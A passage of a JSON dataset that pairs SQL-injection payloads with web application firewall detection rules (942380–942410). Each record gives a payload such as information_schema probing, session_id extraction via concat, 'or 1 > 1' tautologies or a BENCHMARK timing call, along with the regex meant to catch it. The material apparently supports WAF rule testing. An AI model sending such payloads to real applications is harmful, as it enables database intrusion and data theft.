], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute panel" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=from+information_schema.tables+where+1%3D2+limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FROM%2B%2560oxattribute%2560%2BWHERE%2BCONVERT%2528%2560oxattribute%2560.%2560OXID%2560%2BUSING%2Butf8%2529%2B%253D%2B%2527n550a1cee455b9ce585343d75d112b77%2527%2BLIMIT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FROM%28select+count%28%2A%29%2Cconcat%28%28select+%28select+concat%28session_id%29%29+FROM+jml_session+LIMIT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=SELECT+dDJq+WHERE+9896%3D9896%3BSELECT+%28CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FROM+%60we_tblErrorLog%60+WHERE+%60we_tblErrorLog%60.%60ID%60+%3D+25251+LIMIT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FROM+%60dates%60+order+by+%60uname%60%2C+%60date%60%2C+%60load%60%26dummy%3D%60uname%60%26dummy%3D%60datum%60%26dummy%3D%60laden%60%26sql_delimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=IF%20EXISTS%20(SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20'root')%20BENCHMARK(1000000000%2CMD5(1))" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack: EXISTS" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=sdfsd%27or%201%20%3e%201" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:or\\b(?:[\\s\\x0b]?(?:[0-9]{1,10}|[\\\"'][^=]{1,10}[\\\"'])[\\s\\x0b]?[<->]+|[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')(?:[\\s\\x0b]*?[<->])?)|xor\\b[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')(?:[\\s\\x0b]*?[<->])?)|'[\\s\\x0b]+x?or[\\s\\x0b]+.{1,20}[!\\+\\-<->]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942390", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "and '5'orig_var_datavarname=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\band\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}[\\s\\x0b]*?[<->]|'[^=]{1,10}')| ?(?:[0-9]{1,10}|[\\\"'][^=]{1,10}[\\\"']) ?[<->]+)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942400", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "and 7 oranges" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\band\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}[\\s\\x0b]*?[<->]|'[^=]{1,10}')| ?(?:[0-9]{1,10}|[\\\"'][^=]{1,10}[\\\"']) ?[<->]+)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942400", "test_description": "SQL Injection Attack - false positive" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ABS(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "benchmark(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BENChmARk(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cast(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_